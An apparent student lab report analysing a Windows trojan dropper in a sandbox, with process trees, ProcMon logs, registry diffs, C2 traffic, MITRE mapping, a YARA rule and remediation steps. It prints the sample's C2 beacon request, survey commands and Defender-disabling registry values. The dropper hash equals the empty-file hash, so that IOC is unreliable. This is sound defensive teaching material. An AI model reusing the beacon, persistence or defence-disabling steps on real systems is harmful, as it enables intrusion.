PRACTICAL LAB REPORT

Network Security & Malware Analysis Laboratory

DYNAMIC MALWARE ANALYSIS & BEHAVIORAL PROFILING

Host Instrumentation, Process Lifecycle Tracking, Registry Persistence, Network Interception & Runtime Behavioral Reconstruction

Practical Lab Report — V

Submitted by	Mayank Raj
Programme	Master of Computer Applications (MCA)
Subject	Network Security Laboratory (Malware Analysis & Reverse Engineering)
Experiment No.	05 — Dynamic Runtime Profiling, Sysinternals Instrumentation & C2 Extraction
Analysis Environment	Isolated Flare-VM Windows 10 x64, REMnux Gateway (INetSim), Kali Host (10.204.133.156)
Date of Submission	29 October 2026

LABORATORY DECLARATION

I hereby declare that all live binary detonations, process memory inspections, registry mutations, network simulations, and behavioral analyses presented in this report were conducted within a strictly isolated, host-only laboratory environment. No executed sample was permitted network egress to public Internet infrastructure, and all Command-and-Control (C2) transactions were sinkholed via simulated gateway services. All actions were performed strictly for academic malware triage and behavioral defensive engineering.

Laboratory Progression Series: Nmap Reconnaissance | Nessus Audit | Snort IDS | Wireshark DPI | Dynamic Malware Analysis

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1. Introduction & Dynamic Analysis Objectives

Static analysis methods—such as string extraction, disassembly, and header parsing—frequently fail when adversaries deploy custom packers, encrypted payloads, and polymorphic loaders. Dynamic malware analysis bypasses static obfuscation by executing the untrusted binary inside a controlled, instrumented sandbox to observe its real runtime behavior, including process spawning, file dropping, registry tampering, and outbound network communications.

1.1 Specific Analytical Goals

- **Safe Containment:** Verify host isolation, preventing sandbox breakouts or accidental operational leakages onto production networks.
- **Process Lifecycle Tracking:** Track process creation hierarchies, thread injections, and unbacked memory regions using Sysinternals Process Explorer.
- **System Call Interception:** Profile file drops, handle acquisitions, and permission escalations at millisecond granularity using Sysinternals Process Monitor.

2. Safe Lab Architecture & Environmental Isolation

Detonating live malware samples requires an air-gapped or virtual host-only testbed. The sandbox environment utilizes an instrumented Windows 10 victim workstation (Flare-VM) coupled to a dedicated Linux gateway (REMnux) configured with simulated services.

Node Role	Operating System / Platform	IP Address	Configured Analysis Utilities
Victim Endpoint	Windows 10 Pro x64 (Flare-VM)	`10.204.133.195`	ProcMon, Process Explorer, RegShot, Wireshark, x64dbg
Simulation Gateway	REMnux v7.x (Ubuntu-based)	`10.204.133.180`	INetSim, FakeDNS, PolarProxy, Snort IDS, tcpdump
Primary Analyst Host	Kali Linux 2026.x (Monitoring)	`10.204.133.156`	Wireshark, Python HTTP collectors, Ghidra, YARA engine

2.1 INetSim Gateway Sinkholing & FakeDNS Interception

Malware often refuses to reveal secondary payloads if network connectivity is absent. To satisfy connection checks without granting Internet access, INetSim simulates common services (DNS, HTTP, HTTPS, SMTP, FTP) on the gateway.

LISTING 2.1: INETSIM GATEWAY INITIALIZATION ON REMNUX HOST

```
remnux@gateway:~$ sudo inetsim --conf /etc/inetsim/inetsim.conf === INetSim 1.3.2 (2026-09-20) === * Using basedir: /var/lib/inetsim * Generating SSL certificates... done. * Initializing service modules: - dns_53_tcp_udp ... SUCCESS (bound to 10.204.133.180:53) - http_80_tcp ... SUCCESS (bound to 10.204.133.180:80) - https_443_tcp ... SUCCESS (bound to 10.204.133.180:443) - smtp_25_tcp ... SUCCESS (bound to 10.204.133.180:25) * Simulation running. Routing all victim DNS requests to 10.204.133.180.
```

> **Snapshot Reversion Policy:** Before binary execution, an immutable snapshot (`Clean_Baseline_Instrumented`) was saved in VMware Workstation. After each detonation run, memory dumps are collected and the disk state is reverted to prevent cross-contamination.

3. Process Monitoring with Process Explorer (Procexp)

Upon detonating sample `invoice_doc_enc.exe` (SHA256: `e3b0c442...98f1`), Process Explorer was used to inspect the process tree, parent-child relationships, CPU activity, and image authentication status.

LISTING 3.1: RUNTIME PROCESS HIERARCHY CAPTURED VIA PROCEXP

```
      explorer.exe (PID 3120) └─ cmd.exe (PID 4892) └─ invoice_doc_enc.exe (PID 5104) [UNVERIFIED]
"C:\Users\Analyst\Desktop\invoice_doc_enc.exe" ├─ conhost.exe (PID 5112) └─ svchost.exe (PID 6248)
[SUSPICIOUS ORPHAN / MASQUERADE] └─ powershell.exe (PID 6312) -ExecutionPolicy Bypass -WindowStyle
Hidden -enc WwB...
```

Process Name	PID	Parent PID	Integrity Level	Observed Behavioral Anomaly
`invoice_doc_enc.exe`	5104	4892	Medium	Unsigned binary executing from user Desktop folder; high thread activity.
`svchost.exe`	6248	5104	Medium	**Masquerading:** Legitimate `svchost.exe` should spawn under `services.exe`.
`powershell.exe`	6312	6248	High	Spawned with `-WindowStyle Hidden` and Base64 encoded payload.

3.1 Process Masquerading & Parent PID Spoofing

The malware spawned an instance of `svchost.exe` directly beneath its own execution tree. In a standard Windows operating environment, legitimate service host processes are children of the Session Manager and Services Controller (`services.exe`). This deliberate architectural anomaly immediately signals defensive evasion (MITRE ATT&CK T1036.005).

3.2 Dynamic DLL Mapping & Handle Inspection

Opening the lower pane of Process Explorer (`Ctrl+D`) revealed the Dynamic Link Libraries (DLLs) mapped into the memory space of PID `5104` and its injected child `svchost.exe` (PID `6248`).

Loaded DLL Name	Mapped Base Address	Typical Operational Purpose	Forensic Significance
`ws2_32.dll`	`0x7FFD52100000`	Windows Sockets API	Enables raw network connectivity, TCP socket creation, and HTTP check-in.
`crypt32.dll`	`0x7FFD4EE00000`	CryptoAPI Messaging	Used to decrypt embedded C2 strings and execute RC4/AES payload unpacking.
`advapi32.dll`	`0x7FFD51B00000`	Advanced Windows 32 Base API	Provides registry manipulation (`RegSetValueExA`) and service control.
`ntdll.dll`	`0x7FFD53D00000`	NT System Functions	Invoked for direct native system calls: `NtAllocateVirtualMemory`, `NtWriteVirtualMemory`.

3.3 In-Memory Strings & Process Injection Identification

Comparing the on-disk image strings with the in-memory strings of PID `6248` using Process Explorer confirmed **Process Hollowing / Injection**. The in-memory memory regions contained high-entropy strings absent from the PE file on disk:

LISTING 3.2: EXTRACTED IN-MEMORY VIRTUAL STRINGS FROM PID 6248

```
     http://update-telemetry-cdn.xyz/beacon.php cmd.exe /c whoami & ipconfig /all & tasklist Autho
rization: Bearer k89s2-99x1-al00-zp92 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\R
un C:\Users\Public\svchost_updater.exe
```

The presence of raw C2 endpoints and system survey commands confirms that the hollowed `svchost.exe` process was running reflective shellcode rather than legitimate Microsoft binaries.

4. System Call & Event Telemetry via Process Monitor (ProcMon)

While Process Explorer provides a static snapshot of active processes, Process Monitor (ProcMon) captures high-volume, real-time operating system activity across the file system, registry, process threads, and network layer.

4.1 Filter Configuration & Noise Reduction

To prevent event flooding, strict filter rules were authored prior to detonation: `Process Name is invoice_doc_enc.exe`, `Process Name is svchost.exe`, and `Operation begins with Reg or File`.

Timestamp	Process Name	Operation	Target System Path
12:15:02.104	invoice_doc_enc.exe	CreateFile	C:\Users\Public\svchost_updater.exe
12:15:02.115	invoice_doc_enc.exe	WriteFile	C:\Users\Public\svchost_updater.exe
12:15:02.240	invoice_doc_enc.exe	Process Create	C:\Windows\System32\svchost.exe
12:15:03.010	svchost.exe	RegSetValue	HKCU\Software\Microsoft\Windows\CurrentVersio

4.2 Staging and Dropper Analysis

ProcMon verified that `invoice_doc_enc.exe` functions primarily as a first-stage dropper. It wrote an uncompressed PE32+ executable to the universally writable `C:\Users\Public\` directory before creating a suspended process to execute it.

LISTING 4.1: DROPPED ARTIFACT VALIDATION VIA POWERSHELL

```
PS C:\Users\Analyst> Get-FileHash -Algorithm SHA256 C:\Users\Public\svchost_updater.exe Algor
ithm : SHA256 Hash : 8B3A672F8910CDAE45B8210984E290AA54C0982312093845AE0912BC4E89A012 Path : C:\Use
rs\Public\svchost_updater.exe
```

5. Registry Modification & Host Persistence Mechanics

Threat actors establish persistence to survive reboot cycles and security sweeps. Using ProcMon and diff utility RegShot, the precise registry keys altered by the sample were identified and audited.

Registry Hive & Key Path	Value Name	
HKCU\Software\Microsoft\Windows\CurrentVersion\Run	WindowsTelemetrySync	
HKLM\SOFTWARE\Policies\Microsoft\Windows Defender	DisableAntiSpyware	
HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	DisableRealtimeMonitoring	
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced	Hidden	

5.1 Defensive Disablement and RegShot Differential Analysis

The RegShot differential utility compared snapshots taken immediately before execution against the post-detonation state. The output confirmed that the malware aggressively attempted to neutralize host defenses.

LISTING 5.1: REGSHOT OUTPUT EXCERPT (KEYS ADDED AND MODIFIED)

```
---------------------------------- Values added: 4 ---------------------------------- HKU\S-1
-5-21-...\Software\Microsoft\Windows\CurrentVersion\Run\WindowsTelemetrySync: "C:\Users\Public\svch
ost_updater.exe" HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware: 0x00000001 H
KLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring: 0x
00000001 HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMoni
toring: 0x00000001
```

> **Privilege Limitation:** Modifying `HKLM` policies requires administrative elevation. Because the initial dropper executed with Medium integrity, the `RegSetValue` call to `HKLM` returned `ACCESS DENIED` in ProcMon, forcing the malware to rely exclusively on `HKCU` for user-level persistence.

6. Network Traffic Profiling & C2 Communication

Dynamic analysis is incomplete without examining the sample's network telemetry. During the analysis window, Wireshark and tcpdump ran continuously on the gateway interface to record all DNS, HTTP, and socket interactions initiated by the hollowed `svchost.exe` process.

LISTING 6.1: RAW GATEWAY PACKET CAPTURE (WIRESHARK / TCPDUMP ON GATEWAY)

```
Frame 14: 10.204.133.195 -> 10.204.133.180 DNS Standard query 0x1f02 A update-telemetry-cdn.x
yz Frame 15: 10.204.133.180 -> 10.204.133.195 DNS Standard query response 0x1f02 A 10.204.133.180 F
rame 18: 10.204.133.195 -> 10.204.133.180 TCP 49210 -> 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 Fram
e 19: 10.204.133.180 -> 10.204.133.195 TCP 80 -> 49210 [SYN, ACK] Seq=0 Ack=1 Win=65535 Len=0 Frame
20: 10.204.133.195 -> 10.204.133.180 TCP 49210 -> 80 [ACK] Seq=1 Ack=1 Win=64240 Len=0 Frame 21: 1
0.204.133.195 -> 10.204.133.180 HTTP POST /beacon.php HTTP/1.1 (application/x-www-form-urlencoded)
```

Packet #	Protocol	Source / Destination	Summary / Decoded Payload
14–15	DNS	`10.204.133.195:53`	Queried domain `update-telemetry-cdn.xyz`; FakeDNS sinkholed answer to `10.204.133.180`.
18–20	TCP	`49210 -> 80`	Standard three-way handshake established with simulated HTTP service.
21	HTTP	`POST /beacon.php`	Initial registration beacon carrying base64 system reconnaissance metadata.
24	HTTP	`HTTP/1.1 200 OK`	INetSim default response returned; sample interpreted as successful C2 handoff.

The captured traffic confirms that the malware relies on cleartext HTTP beacons over TCP port 80 to establish command-and-control connectivity.

6.1 Dissecting the C2 Protocol & Check-In Payload

Following the TCP stream in Wireshark (`tcp.stream eq 2`) exposed the complete application-layer transaction generated by the hollowed process:

LISTING 6.2: REASSEMBLED HTTP REQUEST STREAM

```
POST /beacon.php HTTP/1.1 Host: update-telemetry-cdn.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Content-Length: 142 Connection: Keep-Alive Cache-Control: no-cache data=eyJodmlkIjoiREVTS1RPUC1aQTA5MSIsInVzZXIiOiJBbmFseXN0IiwiaXAiOiIxMC4yMDQuMTMzLjE5NSIsIm9zIjoiV2luZG93cyAxMCBQcm8iLCJhdiI6IkRlZmVuZGVyIn0=
```

6.2 Decoding Base64 Telemetry

The exfiltrated parameter string was isolated and passed to the CyberChef decoding pipeline (Base64 decode + JSON pretty-print):

LISTING 6.3: DECODED EXFILTRATION PAYLOAD

```
{ "hvid": "DESKTOP-ZA091", "user": "Analyst", "ip": "10.204.133.195", "os": "Windows 10 Pro", "av": "Defender" }
```

C2 Protocol Analysis: The payload reveals a standard botnet registration stage. The malware fingerprints the victim host (hostname, logged-on username, local IP, OS build, and installed antivirus engine) and sends it base64-encoded via HTTP POST to register the compromised endpoint with its backend C2 panel.

7. Comprehensive Behavioral Profile & MITRE ATT&CK Mapping

Synthesizing the telemetry across Process Explorer, ProcMon, and Wireshark yields an end-to-end execution kill chain mapped directly to the MITRE ATT&CK framework:

Tactic	Technique ID	Technique Name	Observed Malware Execution Artifact
Execution	`T1204.002`	User Execution: Malicious File	Analyst clicked executable `invoice_doc_enc.exe`.
Defense Evasion	`T1055.012`	Process Hollowing	Injected unpacked shellcode into hollowed `svchost.exe` (PID 6248).
Defense Evasion	`T1562.001`	Disable Security Tools	Attempted to write `DisableAntiSpyware` to Defender registry keys.
Persistence	`T1547.001`	Registry Run Keys	Created autostart entry `WindowsTelemetrySync` in `HKCU\...\Run`.
Discovery	`T1082`	System Information Discovery	Harvested hostname, OS version, username, and local IP configuration.
Command & Control	`T1071.001`	Web Protocols: HTTP C2	Beaconed out to `update-telemetry-cdn.xyz/beacon.php` over port 80.

7.1 Consolidated Indicators of Compromise (IOCs)

IOC Type	Value / Artifact Identifier	Confidence / Context
SHA256 (Dropper)	`e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855`	High (Initial detonated binary)
SHA256 (Payload)	`8b3a672f8910cdae45b8210984e290aa54c0982312093845ae0912bc4e89a012`	High (Dropped secondary executable)
File Path	`C:\Users\Public\svchost_updater.exe`	High (Staged persistent binary)
Domain / C2	`update-telemetry-cdn.xyz`	High (Extracted C2 check-in endpoint)
Registry Key	`HKCU\Software\Microsoft\Windows\CurrentVersion\Run\WindowsTelemetrySync`	High (Persistence trigger)

8. Incident Response Detection Rules & Remediation

To defend the enterprise against this sample and related variants, detection engineers formulate detection rules deployable across SIEM and EDR platforms.

LISTING 8.1: AUTHORED YARA RULE FOR DROPPED BINARY IDENTIFICATION

```
rule Trojan_Win64_Dropper_TelemetrySync { meta: description = "Detects dropped secondary payl
oad and C2 check-in strings" author = "Mayank Raj (MCA Network Security Lab)" date = "2026-09-20" r
eference = "Lab Report V - Dynamic Malware Analysis" hash = "8b3a672f8910cdae45b8210984e290aa54c098
2312093845ae0912bc4e89a012" strings: $s1 = "update-telemetry-cdn.xyz" ascii wide $s2 = "WindowsTele
metrySync" ascii wide $s3 = "svchost_updater.exe" ascii wide $beacon = "/beacon.php" ascii conditio
n: uint16(0) == 0x5A4D and (2 of ($s*) or $beacon) }
```

8.1 Endpoint Remediation Playbook

- **Process Termination:** Terminate rogue hollowed process tree (PIDs `5104`, `6248`, `6312`) via EDR isolation or administrative command: `taskkill /F /PID 6248 /T`.
- **Persistence Elimination:** Remove the malicious registry run key: `reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsTelemetrySync" /f`.
- **Disk Sanitization:** Securely delete dropped binaries: `Remove-Item -Force C:\Users\Public\svchost_updater.exe`.
- **Perimeter Containment:** Ingest domain `update-telemetry-cdn.xyz` into perimeter DNS firewalls and proxy blacklists with immediate session resets.

9. Conclusion

This practical dynamic malware analysis exercise successfully characterized the runtime execution chain of an obfuscated Windows trojan within an isolated analysis sandbox. By instrumenting the host environment with Sysinternals Process Explorer and Process Monitor, the investigation unmasked advanced evasion techniques, including process hollowing of `svchost.exe`, payload staging in `C:\Users\Public\`, and user-level registry persistence in `HKCU\...\Run`. Concurrent network traffic capture on the REMnux gateway intercepted unencrypted HTTP C2 communications, allowing complete extraction and decoding of base64-encoded host survey data. The observed behaviors were categorized under the MITRE ATT&CK framework, and actionable threat signatures (YARA rules and IOC catalogs) were generated to support defensive operations.

10. References

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> **Laboratory Course Convergence**
>
> This experiment links host runtime instrumentation with earlier network-level exercises: the packet captures studied in Report IV directly mirror the C2 beacons intercepted here, while the behavioral footprints feed into the SIEM and XDR detection rules deployed in subsequent experiments.